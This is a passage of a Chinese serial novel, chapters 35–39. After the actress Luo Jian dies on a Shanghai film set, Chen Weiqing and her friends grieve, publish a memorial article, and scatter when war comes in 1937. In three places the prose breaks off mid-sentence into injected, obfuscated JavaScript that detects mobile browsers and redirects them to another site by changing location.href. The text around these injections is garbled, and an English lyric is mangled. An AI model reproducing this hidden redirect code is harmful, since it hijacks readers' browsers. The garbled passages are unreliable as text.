“你打算接着撑多久?” 她又一愣。 他又笑了笑,看着她:“不是说你撑不住。就是……撑久了,会不会累?” “会啊。”她坦然道,“可是,我怕一放手,后面的人就都摔下去了。” 沈时砚没再说什么,只微微颔首,像是听进去了什么。 然后他抬头看天,说:“如果是北平,这个时候一定下雪了。” “代我看看雪吧,我还没见过。”陈蔚青也轻轻地笑了,她抬头望向天,好像真的看到了雪一般,“你是说要等我问,才告诉我什么时候走?” “对。”他低声笑了一下,“但我没说你问了,我就一定要走。” 她看着他。那一刻,灯光落在他眉梢眼角,像是落在一枚沉默的词语上,柔和却又带点未言尽之意。 “……你这人啊。”她轻轻叹了口气,带笑意地摇头。 “嗯?”他挑眉。 “没什么。”她也不知道其实自己要说些什么。 “我们之后一起去看吧。” “什么?” “雪啊。”他笑了,“想来婉芝还有阿简应该都已经看过了,就差你和炽南了。” 她没有回答,只是偏过头望向院外那一树秋桂,风吹来,香气一缕一缕钻进心口,像什么也没发生,又像一切都已经不一样了。 36. 日升之屋 清晨时分,庭院还裹在雾里,陈蔚青坐在窗边,披着一件浅灰的呢绒斗篷。她的手指停在一封刚刚拆开的信上,信纸边缘已有些卷起,是两周前从上海寄来的,邮局今天才送到。 她一眼认出那熟悉又跳脱的字迹—— “蔚青姐,我这回是真的要演主角啦!” 信写得热烈,几乎每一句都在跳跃,像她那个人一样,一边用力地朝前奔跑,一边喊着“你快看我,我做到了!” “我试装那天,导演一直皱眉,我以为要黄了,结果他说:‘还不错。’你知道吗,他说‘还不错’的时候,我差点哭出来……我真的以为我不行了。” “拍摄延期了一天,我在服装间等了一个下午。隔壁有几个姑娘在换戏服,说我长得像她们的亲戚,一个日本人。你说奇不奇怪?我从小就有人说我长得不像我们家,可我还是觉得我就是这里的人。” “这几天忙到连饭都顾不上吃。但我不觉得累。你说我是不是太蠢了,连累都不敢觉得?我就是想演完这场戏……然后写信告诉你:我做到了。” “我知道你忙,我知道你可能收不到这封信——但我还是写了。” “我会一直写的。” 信的最后一行停在纸角,像她说完话,站在舞台中央笑着鞠了一躬。 陈蔚青的指尖停在那一行“我会一直写的”上,忽然觉得有什么东西钝钝地敲在心口。 她笑了笑,突然想起她前两封信都没回——这几个月发生了太多的事,但这封信一定要写回信了,要恭喜她拿到了第一个重要角色,以后一定会有第二个、第三个……她一遍在心里编织着回信,一遍合上信,没有收起来,只是将它轻轻放在茶几上,然后起身走到屋角的书架前,习惯性地拿起那天的晨报。 报纸纸张尚新,墨味未散。她本想跳过社会版,却在翻到第三页时被一道标题钉住了眼: 《上海新人混血女演员在片场失足坠亡》 她怔住,目光落在副标题上: “室友称其为南州人,年约十八岁,租住法租界小街女子宿舍,近期情绪不稳。” 接着,是一张模糊的照片——不是她,而是片场散落的戏服和一只断掉的鞋跟。 她的脑中“轰”地一声炸开,整张纸仿佛失去了重量。 她一页页翻过去,越翻手越抖。直到看到报尾一行小字—— “知情者称其近日参与某剧组拍摄,曾因拒绝特定‘陪酒安排’与剧组人员发生争执。” 那一瞬间,时间仿佛抽走了所有颜色。陈蔚青缓缓坐回椅中,手中那封还温着余香的信纸就摆在面前,而报纸却像是一道冰封的刀,把信纸活生生切成了过去。 她喃喃道:“不对……她还在写信啊……” 声音轻得像风吹动纸页。 她再也忍不住,低下头去,一声没出,只是把脸埋进手心。 她忽然想起第一次见到简,她挂在窗边,眼睛亮晶晶的,然后她站在楼下,伸出双手。 “大小姐,你敢不敢跳下来?” 她想起罗简唱电影里的曲子那晚,灯影在她的睫毛上跳舞。想起她坐在桌前写字,写文章。想起她在校庆上演的玛丽娅…… 她忽然站起身,跌跌撞撞地跑出屋子,像是想冲出这个不该存在的清晨。她甚至不记得自己有没有穿鞋。仆人在门口唤她,她充耳不闻。 风在耳边呼啸。冬天的南州没有雪,却冷得刺骨。她一路跑到后院树下,脚一顿,整个人忽然就跪了下来。 她抱着那封信,像抱着一个小小的灵魂,喉咙发不出声音,眼泪却止不住地流。 不是嚎啕,不是大哭,只是一种仿佛撕裂脏腑的安静的、无法反驳的悲伤。 她不知道她是坐在地上哭了多久,只知道回过神来几个女仆已经搀着她把她放回了床上。 她缓缓起身,把信纸抹干,重新折好。 “对不起。”她轻声说,“我来晚了。” 那之后的事,她几乎记不清了。 她只记得自己像一团脱了线的布,躺在床上,四周安静得可怕。屋外的风敲着窗纸,却一直敲不进来。她一直盯着天花板,连眼都不敢闭——只要一闭上,就看见简在信里朝她笑。 “我这次真要演主角啦!” 可是蔚青连这个她要演主角的戏的戏名都不知道。 后来据沈时砚说,罗炽南当天就把工作辞了,买了一张去上海的船票,没人拦他,也没人敢拦他。但三天后,他就回来了。 那天黄昏,女仆来报,说“罗先生来了”。她一时没反应过来——“谁?”。但下一刻她就明白了。她穿好衣服下楼,看见罗炽南正站在门口,整个人像是风吹久了的老木头,面颊瘦了一圈,眼窝凹陷,胡子拉碴,手里拎着一个几乎空的布袋。 他没有带回任何行李,也没有带回什么“结果”。他只是站在那里,像是从上海那个巨大的绞肉机里,空手逃回来的人。 “她……是在法租界租的小房间。”他说,“那晚拍完试镜,剧组说导演请吃饭,她没去。她说——如果这个角色是靠陪酒换来的,那她宁愿不要。” 他说得很慢,每一句都像是在拔自己一根骨头。 “后来她被临时换了角色。本来是女主角,结果只给了个连台词都没几句的边角戏。她去后台问是为什么,有人指着她笑,说——‘你以为你是谁啊?一个杂种,还想当女主、还敢拿架子?’” 他低着头,嗓音像从地底挤出来的。 “他们还说:‘你这样谁会让你拍戏?一点规矩都不懂。’” 他顿了顿,哽咽了。 “那场戏是在一座仿旧茶楼里拍的,她要从三楼走下那段外挑的木梯,戏里安排她端着茶托走得飞快,好让镜头能‘一气呵成’。但她就这样……就……摔了下去。” “据说她是分了神。导演在一旁催场,副导在喊‘快点’,她看了一眼摄影机那边,聚光灯正对着她脸,那是她换角以后为数不多的镜头……她没站稳,脚下一滑,整个人就倒下去了。” 他终于抬头,眼神死死盯着前方。 “她落地那一刻,摄影机还在拍,灯还没灭,所有人都在看,但没人第一时间喊停。“ 他说到这里,声音终于发了抖:“她当场没死……过了好久他们才把她送到医院,她还醒了一会儿。” 他眼圈发红,颤抖着声音继续说:“她醒过来的第一句话是:‘是不是我说错了台词?’” 他再也说不下去了。 手里那封皱巴巴的信,他迟迟没拿出来。直到很久之后,才从斗篷里摸出一页沾了水渍的信纸。 “这是她的。”他把信递给陈蔚青,“你看吧。” 那封信写得极短,像她最后一次在世界上留痕: “如果那台机器能回答‘我到底算什么人’,它会怎么说呢? 哥,对不起。 我再也演不了主角了。” 信上贴着,那张已经泛黄的纸带。上面写着两个字,近乎讽刺的: “去做。” 最后没人得偿所愿。 “那台机器就这样静静地摆在那里,没人得偿所愿。我没能留下母亲,沈时砚没能去成北平,罗炽南没能给妹妹一个好的生活。” 罗炽南想把他们那个机器砸了,因为那张他觉得间接害死了他妹妹的纸条——“去做”。没人拦他,但他后来自己没忍心下手,那东西就一直躺在那里,像一具装着他们未曾说出的哀悼的壳。 “那玩意一开始就不该造。” “ThereisahouseinNewOrleans, TheycalltheRisingSun. Anditisbeentheruinofmanypirl, Andohgod,Iamtheone.” 夜雨将南州的街道洗得发亮,清晨第一缕光落在报摊的玻璃罩上时,一份崭新的小报已经摆上了最显眼的位置。 头版标题是手写体印制,字迹锋利,黑体加粗,占满了整整一栏: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15637946|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >《一个不该死的人》 署名很小,只一个字,印在最下角——“青”。 没有副标题,没有宣传广告,也没有其他新闻内容。整张报纸只有这一篇文章,从头到尾,整整三大栏,像一份沉默的回响,又像一场无法终止的控诉。 文中并未提到名字,也没有直接描写,但字里行间早已把真相写得清晰:一个南州来的女孩,在上海的聚光灯下试图成为“被看见的自己”,却在夜色中坠落于无声的街角。她是演员,是码头的孤儿,是工人,是工人的妹妹,是一个什么也不确定却仍愿意奔跑的人。 文章最后一句是: “她还是一个有天赋的作家,她说:‘我会写的!’。我们却没能为她留住一条可以写下去的路。” 陈蔚青坐在印报间时,天还没亮,机器轰鸣声盖过了心跳。她盯着纸张一页页吐出,看着自己一字一句地印在那些墨香未干的页上,忽然觉得自己像个盗火者,偷来一点光,却迟了一步。 那是婉芝离开后,她第一次重新启用那份报纸。 报纸上没有讨论剧目,没有诗歌,也没有那些哲学思辨,只有一篇文章——《一个不该死的人》。 永丰纱厂后面的仓库门半掩着,墙上贴着一张粗糙的手绘标语:“工人夜校·抗日经济读本·今晚八点”。纸面被雨水打湿又风干,边角卷起。 罗炽南在仓库里搬纸箱。箱子里装的是新印好的工人劳动法小册子和一叠叠未经审查的传单——全是学生们自发印刷的。他亲自盯了油印,从配纸、校对到最后的分发,一丝不苟。黑市上的人劝他别太冲:“你还真把你自己当工人了。” 他说:“那不然呢?我不是工人,还能是什么?” 夜校刚散,他把剩下的册子一捆一捆装进袋里,递给几个年轻工人:“你们往白石桥送,别走主街,绕后巷。” 他语气平稳,不紧不慢,像早已习惯。那几个工人接过袋子,有个年轻的偷偷问:“哥,你以前真是…混黑市的?” 他没应,只抬头看了他一眼,像是笑了笑,又像没笑。 晚上十点,厂区楼顶。风很大,他站在边缘的位置,身后是层层铁皮房顶,脚下是南州冬夜的灯火。 他一边看着那份报纸,一边一支接一支点烟。 风把火光吹得忽明忽暗,像记忆里破旧戏台上的灯。 有个老工人走上来,把围巾裹紧了些:“炽南,你在看什么?” 他没回答,把报纸对折,折得整整齐齐。老工人看到上面那个标题——《一个不该死的人》。 “……你认识写这报纸的人?”老工人问。 罗炽南站了一会儿,终于低声道:“不止。” 沈时砚捧着那份报纸坐了许久。他没有立即读,只是一遍一遍地抚过那行字——“一个不该死的人”。 读完后,他什么都没说,把报纸对折收好,夹进了他笔记本最内页。 他去锅炉房里看了看那台沉默已久的机器。 他没开灯,就这样站在锅炉房的黑暗里,站了一夜。 几周后,陈宅前厅响起越洋电话铃声。 阿凤慌慌张张跑上楼,说:“小姐,是巴黎那边,说是黎小姐……” 陈蔚青接起时,电话那头先是一阵嘈杂——像是穿越了海底的风暴,然后,一个带着哭腔的声音从电话线另一头挤出来:“蔚青……我……我收到了那张报纸,还有……那些信和遗书……” 是婉芝。她声音哽咽得快说不出话,只一遍遍地说着:“对不起,对不起……” “我不在,我不在她身边……”她带着哭腔的声音忽高忽低,“我不该…我不该鼓励她去演电影…不该…” 她哭了整整五分钟,陈蔚青一句话没插,仿佛只是一具接听器。 最后,那头突然传来另一道说着法语的男声,然后是蹩脚的中文:“时间到了”。 话还没说完,长音嘟的一下,电话就被切断了。 陈蔚青站在电话前,没挪动一步,像一块石头一样,一直站在原地。 37. 风雪夜归人 时间过得很快。 沈时砚去北平的事,并没有什么正式告别。只是在一个天气微凉的黄昏,他来找她,说自己订了后天的火车。 “你不是说等我叫你才走?”陈蔚青那天正在翻账房的月报,头也没抬。 “嗯,但你现在已经不用再叫我了。”他说,声音很轻,像是怕吵醒某种沉睡的东西,“你现在……已经可以做得很好了。” 她没有说话。只是手中翻动纸张的声音慢了下来。 “你去吧。”她过了好一会才轻声说,“那边要冷一些,记得带厚衣服。” 他笑了一下,笑容几乎看不出波澜。她却忽然觉得,那笑里藏着一点逃走的意味。 他是去逃离一些东西的,不是沈家,不是陈家,而是他们一起埋在锅炉房的、未曾完成的梦。 从此,锅炉房就成了陈蔚青生活里一种“静默的存在”。 她没有再像当初那样频繁出入那里,但几乎每个月,都会抽一两个下午过去坐坐。她不带账本,不带茶壶,也不看机器。只是坐着,像是在等一个不会来的声音说:“我来练字啦!!!” 偶尔,她会遇见罗炽南。 他如今整个人已经变了样。黑市那些年烟火气十足的狠劲褪去,代之以一种沉静的张力。他不再横行街巷,而是成了工人夜校的骨干,组织印刷、传送、分发,也代表罢工小组与厂方交涉,虽然已经不当工头了,但工人们却都发自内心的称他一声“老大”。 有时他们在锅炉房碰上,寒暄几句:“你来了。” “嗯,看看。” “最近还好吗?” “还好。” 就这些。 像两条从不再交汇的河流,在旧日的机器旁并排停留一刻,又悄然流向各自的方向。 他们从未提起那个曾经一同拉电线、写逻辑表、在黑市吃煎堆的女孩。 也从不提那篇叫《一个不该死的人》的文章。仿佛一提,就会惊扰某种痛楚,或激起某种他们早已学会独自背负的哀伤。 直到那篇叫《一个不该死的人》的文章发表后的第四年的某个下午,那天是个在普通不过的日子。 初春的南州,雨刚停不久。街道还挂着潮,空气却有些暖了,木棉树抽出了最早一批嫩芽,旧砖上的青苔被阳光照得发亮。 陈蔚青出了账房,顺着那条熟悉的小道,往锅炉房的方向走。她没有特别的打算,只是这几日总觉得心里空荡荡的,像是有什么要回来,又迟迟未到。 推门进去时,锅炉房里竟已经有人。 是罗炽南。 他穿着一件洗得发白的粗布外套,蹲在地上,修理那台早已静默多时的回答机器——已经太久太久没人用过了。手上沾了点油,袖子挽起,额前的发却被风吹得有些乱。他抬起头,看见她,愣了一下,随即点点头。 “你来了。”他站起身,把手上的布甩了甩,“好久没见你来这里。” “嗯。”她走进来,脚步轻轻的,像生怕惊动了什么,“最近账目有点烦人,就想着来这边坐坐。” 他笑了笑:“还得是你。” “你也是。”她瞥了他一眼,指着那台机器,“你竟然在修它。” “不能说修。”他拍拍木壳,“就是手痒。动手就不那么烦了。” 她靠在门边,阳光从天窗洒进来,照在地板上,勾勒出她的影子。两人一时间都没再说话。风穿过窗隙,发出轻微的呼呼声。她突然觉得自己好像放下了什么,而罗炽南也是。 忽然,她说:“你还记得我们第一次见面吗?” “当然记得。”他笑了一声,“我当时一看,就觉得你一定是那种娇生惯养的大小姐。” “当时吗?那你还真就没说错。”她说完,指了指屋角,“你当时就蹲在在这里,好像也是修着什么。” “沈时砚迟到了,然后他一来就开始讲这台机器的事。”罗炽南回忆着,指了指那台机器,“你听得比我认真多了。” 陈蔚青没有接话,只是站在那里,忽然有种预感——时光即将倒回到从前。 回到他们都还不够明白这个世界的时候,像三条刚汇到同一条小河里的水,还不知前面是平湖还是瀑布。 她正出神间,门口传来一阵脚步声。 “你们怎么都不吭一声就来这里?”一个熟悉的声音响起,“是约好的吗?” 她猛地转过头。 沈时砚站在门口,肩上搭着旧风衣,脚边溅了点泥。他眉眼还是熟悉的,眼神却比以前深了些,像是走了很远的路才又绕回来。他看着她,又看看屋内的陈设,眼里划过一丝浅浅的笑意。 “我推门的时候,还以为自己走错了。”他说。 罗炽南一愣,随即笑了:“你倒是选了个好时候回来。” 陈蔚青没说话。 她看着他,忽然觉得这一幕太不真实。 屋子里光线斑驳,风轻轻吹过窗缝,带进一缕淡淡的潮气。他们三人,一个倚着门、一个靠在桌子上、一个站在阳光里,恍若回到五年多以前——第一次在这个房间里相遇的那个下午。 “你什么时候到的?”她终于问。 “今天早上。”沈时砚回答,“但不知道为什么,第一步就是想来这儿看看。” “什么时候走?”她轻声问。 “你叫我走,我才走。”他微笑,“这次是真的。” 一阵风吹过,锅炉房那扇破旧的铁门吱呀作响。光影在他们身边跳动,像是有什么早已沉睡的东西,在这一刻苏醒。 陈蔚青看着眼前这两张熟悉的脸,忽然觉得这几年所有的奔波与痛苦,都变得轻了一点点。 不是因为它们过去了,而是—— 她不是一个人在记得。 不是一个人在活着。 她嘴角微动,没有说话。 沈时砚走进来,顺手在椅子上坐下,熟悉地拉过一张椅子坐下。 她也走到最近的那张椅子旁边坐下。罗炽南靠着旧炉台,拿出一根烟叼在嘴边,没点火。 锅炉房静了。 光在屋中缓缓移动,投下三道斜斜的影。锅炉房里静了很久,直到阳光渐渐西移,地上的影子慢慢拉长,才有人开口。 “你这次回来,是暂住?”罗炽南问,语气不重,却听得出一丝探问。 沈时砚摇了摇头,嗓音淡淡的:“不走了。” 陈蔚青看他一眼:“北平不要你了?” 他笑了笑,眼神在光影里柔下来:“是我不要北平了。” “怎么?”她问得很轻。 “前几个月还在讲课。”他说,“有一次上完课,一个从湖南来的学生比我还前地冲出教室。我问他怎么了?他说外面下雪了,想去看看,他说:‘沈先生,我今天第一次见雪。’” 他顿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643565|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿,像是还记得那个学生说话时的神情。 “他说完这句话,我站在教学楼前面,看着北平的雪……忽然就想起你们。”他看向陈蔚青,又看向罗炽南。 “想起那时候我说,等有一天一起去看雪。”他看着陈蔚青,仿佛在确认她是否还记得,“但后来她死了,你们各忙各的,我在北方……就好像那个承诺也跟着没了。” 他声音放得极轻:“可那一刻我忽然很确定——我不想一个人看完那场雪。” 陈蔚青的手在膝上微微收紧。她低声说道,“你这个人,表面看起来是最淡的,心里却记得最牢。” 沈时砚笑了一下,没反驳,只是低声说:“所以我就回来了。” “回来也好。”罗炽南说完,歪头看着窗外的光线,“我在夜校那边讲‘八小时工作制’。以前我一看书就头疼,现在也不会了,可能是讲久了,练出来了。” “你也成‘老师’了?”沈时砚打趣。 “哪能比得上你们读过书的。”他咧嘴一笑,“但工人听我说话,不嫌我啰嗦,我就一直说。” “你是会说的,我可听工人们都喊你叫‘老大’呢。”陈蔚青忍不住笑出声来,眼角却有些酸。 “那你呢?”沈时砚转头看向她,“撑着这么久,累不累?” “累。”她如实回答,“但不能倒。” “日本人的生意越来越猖狂,那些小字号倒了一家又一家。可陈家还是得撑着。”她淡淡说着,“日子难,但日子还在过。” 她顿了顿,轻声补了一句:“至少比四年前安静些。” 沈时砚没有接话,只是微微点头,仿佛将这句话收进心里。 锅炉房的光暗了一些。 “外面天快黑了。”沈时砚说,“你们要走吗?” “再坐一会。”陈蔚青轻轻开口。 罗炽南没答,也找了个位置坐下来。 于是三人静静坐着,像是三根灯芯,隔着时间、隔着岁月,在这间旧屋子里,一起亮了一下,又一起停留在黑暗降临之前最温柔的那一刻。 三人坐了一会,然后相继告别,陈蔚青感觉心里有什么东西慢慢被缝补起来,她走在路上,突然换了个方向。 她一路穿过老城区。脚步不快,像在赴一场很久以前的约。 她走到一座老式砖木楼前,门口石阶上落着些许枯叶。她抬手,轻轻敲了三下。 不多时,门从里面吱呀一声被推开,梁悯初出现在门内。 他还是穿着一身浅灰色长衫,领口整齐,神情寡淡,和以前一模一样。屋里灯光温黄,他站在门内,眼神清朗,如旧剧本中刚落场的温吞角色。 他看见她,没说话,只点了点头。那一瞬间,好像时间在他身上从未走过。 陈蔚青轻声说:“……沈时砚回来了。” 他眼睫轻轻颤了下,低下头,像是确认,又像只是避开那过于沉重的眼神。然后他轻轻“嗯”了一声。 许久,梁悯初才缓缓开口,声音低而沉稳:“都会回来的。” 那声音像是说给她听,也像是说给他自己听。 门边的光照在他身上,把他影子拉得老长。他微微侧身,让出一个方向。 “进来喝口茶吧?” 她看着他,忽然笑了一下,轻轻点了点头。 于是她踏进门槛,把和这些年积压的风雪和伤口都轻轻放下。 38. 当你死去之时 时间就这样平静地流动着。 南州的木棉花谢了又开,街边的茶馆换了招牌又换了老板,永丰纱厂外那条旧轨道终于锈死,再也没有火车路过了。 沈时砚留在了南州,在南州的大学教书,讲几门电机原理,学生们一开始总害怕他不苟言笑,后来才知道这位沈老师温和得很,甚至有点呆呆的,连讲错了都会低声跟自己说“没关系,再想一想”。 他搬出了沈家,搬进了大学的狭小的宿舍,楼下的猫冬天会躲进锅炉房,他常给它带一块点心,说是“替她喂的”。 黎婉芝也从巴黎回来过,但不久又回去了。 她已经不像从前那个总是兴致勃勃讲文学戏剧的女孩子,穿得更淡、更静,举止比以前更沉稳,但一开口,还是那个婉芝——她捧着从巴黎带回来的点心盒,对蔚青说:“你看,这个包装是不是特别像简画的那张小画?” 那年八月,他们四人一同去了城郊。 那是一个不起眼的小山头,树木杂乱,风一吹草就倒下来一大片。他们带了一块素白的石碑,是蔚青托人刻的,字也不多: “罗简之墓。 码头之女,戏台之魂。 一个不该死的人。” 他们没有焚香,也没有放鞭炮。只有风穿过枝叶,发出细微的声响,仿佛那个女孩还在唱那首旧电影里的曲子,唱得不准,却唱得认真。 黎婉芝在墓前蹲了很久,眼圈红了也没哭出来,只轻声说了一句:“对不起。” 沈时砚放了一本写满笔记的小本子,是她教他识字时用过的那一本。他说:“这是她写的第一篇文章,我替她抄了一遍。” 罗炽南从衣兜里掏出一把碎铜币,说:“她小时候说要拿钱买戏服的,结果每次都被我抢走。”他低头,把那几枚钱一枚枚放在碑前:“还她。” 陈蔚青最后站在碑前,许久没说话。风吹过她的发,她才低声道:“你不在的时候,我们都做了些努力。虽然不多,但……我们还活着。” 风突然大了一些,像是谁在山那头笑了一下。 那一刻,他们终于像是正式,跟那个一直牵挂在他们心里的女孩,道了别。 再后来,就是卢沟桥的枪声。 1937年夏,南州街头的报纸开始一张比一张沉重。 陈蔚青坐在桌前,望着最新一批电报,手指轻轻摩挲桌边,心跳有些乱。她知道,那个一直往前推着他们的时代,终于彻底撕破了遮羞布,不再伪装和平。 他们五人,在这个夏天,分别走上了不同的路。 沈时砚走得最快。 那天深夜,他敲开了陈宅的门。 “我要走了。”他说,神情平静,“这次是真的走,抱歉,这次不能听你的。” “去哪?”蔚青说,她突然发现有些害怕。 “延安。”他说,“他们那边需要人做技术支持,电机、密码破译,还有工厂搭建——我都能做一点。” “那里…很危险。”她说。 “是啊。”他低头一笑,“但总得有人去,不是吗?” 她没有劝,也没有挽留,只是顿了一下:“你一个人去?” “有人来找我。”他抬头看她,“我很早以前就想去做点真正的事。你还记得吗?当年我刚刚回来的时候,大家都围在我身边,夸我年轻有为,但其实那么多年了,我也不知道我到底做成了什么。” 她怔了片刻,点了点头。 他转身离开的时候,她忽然叫住他:“时砚。” “嗯?” “我们会在见的,就在纱厂的锅炉房。”她说得平静,“我有预感,就跟之前一样,就跟你从北平回来那天一样。” 他笑了笑,仿佛那是理所当然。 罗炽南是第二个做出决定的,他从来没想过要走。 那天是纱厂月末结账的日子,陈蔚青从账房出来时,在楼梯转角看见他坐在楼下的石阶上,抽烟。他身上的工装沾着一点粉灰,袖口挽到肘,一如往常。 “我听说了。”她走过去,站在他旁边,“他们在查你。” “查我?”他笑了一声,烟雾在鼻息间晃了一晃,“他们查的人多了去了。” 她没笑,沉默了一会:“你想好了?这可不是一般的危险。” “嗯。”他点头,像是在说一件再自然不过的事,“我留下。” “我不是说你留下,我是说你组织大家干的那件事……”她环顾四周,还是没敢说出“地下抗日组织”这个名词。 “那是我该干的事。”他掐灭烟头,抬头望向天色,“这几年我跟工人们一起念书、印传单、教他们识字……但你也看到了,有时候光是知道不够。” “我认识的人多。以前在黑市混的时候,能搞来一车香料、也能找到印刷机、藏人、送信、散传单的人。”他站起身,神情比平日更沉稳了些,“我们已经有了夜校,有了工会,下一步,就是……换个名字。” 她看着他,眼里有什么东西微微晃了一下。 他顿了顿,轻声补了一句:“她走的时候,我什么都没能做。现在该有人做事了,我总该做点什么。” 说完这句话,他转过身,朝纱厂后门走去。 陈蔚青没有追上去,只是望着他背影一点点没入傍晚的光影里。 风吹过来,像是谁低声说了一句“记得我”。她下意识地攥紧了衣袖,低头,许久才叹了一句:“……他本来就该是这个样子的。 第三个做出决定的是梁悯初。 那天是一个阴天,南州街头的风有点怪,吹得树叶晃晃悠悠,像要落又不肯落。陈蔚青收到梁悯初的信,说请她赴一聚,落款没有署名,地址是一间旧书屋。 她过去时,门虚掩着,院中竹影斑驳,像是许久没人走动过的地方。她推门进去,他已经坐在一张长条桌旁,低头摊着一本书,像刚刚翻到某一页,也像在等她。 “来了。”他说,语气温温的,没有起身,像四年前教书时每一堂下课前的最后一句。 她点头,在他对面坐下。茶已经泡好,水面漂着几片干柠檬叶。 “最近……南州不太安稳。”他轻声道,“我过几日准备回香港。” 陈蔚青没有立刻答话,只把杯子转了一圈。茶还温着,她低头闻了闻,没喝。 “香港那边……”她说着,没说完,只转而问,“你自己去?” “暂时是。”他顿了一下,“如果你愿意…跟我一起的话,那就是两个人。” “什么意思?” “你愿意跟我一起走吗?” 她心头一颤,这句话居然矛盾的既沉重又轻盈。她意识到,如果在十八岁那年,老师问出这句话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649820|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己一定会不假思索地点头答应,可现在,这个问题只像是远方飘来的一阵风。 “我想你也看得出来,最近不少人在动。”他停顿了下,“我会做一点……” 他把声音压得很低很低:“南州的消息,需要一个中转站,去到重庆、去到延安,香港是最好的选择。“ 她没有说“我跟你一起”,只是看了他很久。窗外有人喊卖菜,声音细细远远地飘进来,她忽然有些恍惚。她发现老师还是那个人,那个温柔的、正义的、理智的人。 只是她已经和从前不一样了。 “我不能走。”她回答,然后轻轻一笑,“但是,老师,你不知道我曾经等这句话等了多久。” “我知道。”他像是抢答一般回答了她,又顿了顿,忽然道,“我很高兴你没再等了。” 最后是蔚青自己。 军队入城那日,南州街口贴满了新政布告。字印得密密麻麻,口气却温和得近乎诚恳:恢复商业秩序、保障工厂运作、禁止暴力掠夺……像一封写给“未来和平”的请帖,只是那纸张太白,白得几乎晃眼。 陈家名下的几处产业——香料仓、木行、还有纺织厂,很快就接到了“合作”通牒。负责来谈的人西装革履,自称“两国贸易振兴联盟”的事务所代表,说话极有礼貌,甚至还带来一瓶酒,说是“敬陈家”。 她没有接那酒,只是静静地听完他们的话,一言未发。 她心里很清楚,这不是什么振兴,只是把南州最后的心跳掏出来,换上另一种节律。而她若答应,陈家会“安然过冬”,若不答应——她瞥了一眼廊下伫立的家仆、账房、还有那几个一直跟着她的老人、还有父亲——那就不止是她一个人的事了。 那一夜她没睡,在书房坐了一整晚。风翻着案上的旧账本,每一页纸上都写着数字、重量、香料名,一行行的墨迹像是母亲当年留给她的叮嘱。 她突然意识到,自己已经走到了母亲曾经走到的位置——甚至更远了一点。但她无法再做出那个决定了。 第二天清晨,她找来陈闻礼。 她并不是有多信任那人,但他是唯一合适的人选,他聪明肯干,虽说贪婪了些,但至少绝不会做出卖国求荣之事。她看着堂哥,一字一句地说:“从今天起,陈家归你管,要是他们有个三长两短,我做鬼也不会放过你。” 他先是一愣,旋即低声道:“你这是……?” “你放心,”她声音平稳,“我只是换一个地方做我能做的事。” 她没再多解释,怕一解释就软下去了。 三日后,她从后门悄悄离开,走的是老商路——南州通桂林的小道。那年正值初冬,木棉叶落了一地,沿途的山村被晨雾吞没,脚下的泥湿得几乎粘鞋。她背着一只黑布包,里面是几本书,一套旧衣,还有一些零件。 没有旗帜,没有誓言,没有送别。 但她知道,她不是流亡,而是迁徙。 她要走的那条路,通往重庆,通往那些声音和手——那里的纸张还在印,那里的学校还在讲,那里的青年还在反抗,还在默默把手伸进火里。 她不知道自己最后会变成什么样,但她知道——自己已不再是十八岁那个会说“我想让世界听见我”的小女孩。 她不再等世界听见她了,她会主动走进去。 走进风暴里。 39. 十封信 “四十年来家国,三千里地山河。” 书信一:桂林发往延安 寄件人:陈蔚青 收件人:沈时砚 时砚: 这封信我写得很慢,写得比我想象中慢许多。 我一开始想把这些事写得清清楚楚、像份报告那样详尽,但写到一半才意识到,我不是在陈述什么决定,而是在告诉一个朋友,我并没有放弃。 我从南州出来,先到了桂林。一路走得很平静,和想象中不同。没有流亡者的仓皇,也没有悲壮感。只是觉得,终于有一阵风把我从原地吹开了。 我把陈家交给堂哥陈闻礼了。你知道我不喜欢他,但他确实足够圆滑,且本质不太坏,其实比我们都更适合那种不动声色的局势应对。你别担心,我不是放弃——我是觉得,有些阵地不适合我守,但我总要找到另一个可以站住的地方。 这里比南州冷得早一点,早晨雾气很重,城墙上常年爬着青苔。我租了一个旧学堂的角落歇息,准备等路通后往重庆去。桂林的几位朋友给我介绍了几所战时学校,有一些流亡过来的孩子,我想,或许我能去教他们一点东西。 不是什么大道理——只是告诉他们,什么是杠杆、螺旋、磁场、通电顺序。教他们如何修理一个哪怕是一只手电筒的开关。以后如果他们也被困在什么地方,至少能自己动手打开一扇门,或者点一盏灯。 我们以前最喜欢讨论的就是数理啊,逻辑啊,可现在我们周围的一切都好像不讲逻辑了。 我想你也许会喜欢这里的天空——低,但很亮,山和水都像诗里写的、画里画的,但我没什么时间欣赏了。但每天晚上抬头看看,还是能看到晚上的星星,比南州多。 照顾好你自己,如果你还在机器边的话,记得别弯腰太久,脊背会酸。 蔚青 书信二:延安发往桂林 寄件人:沈时砚 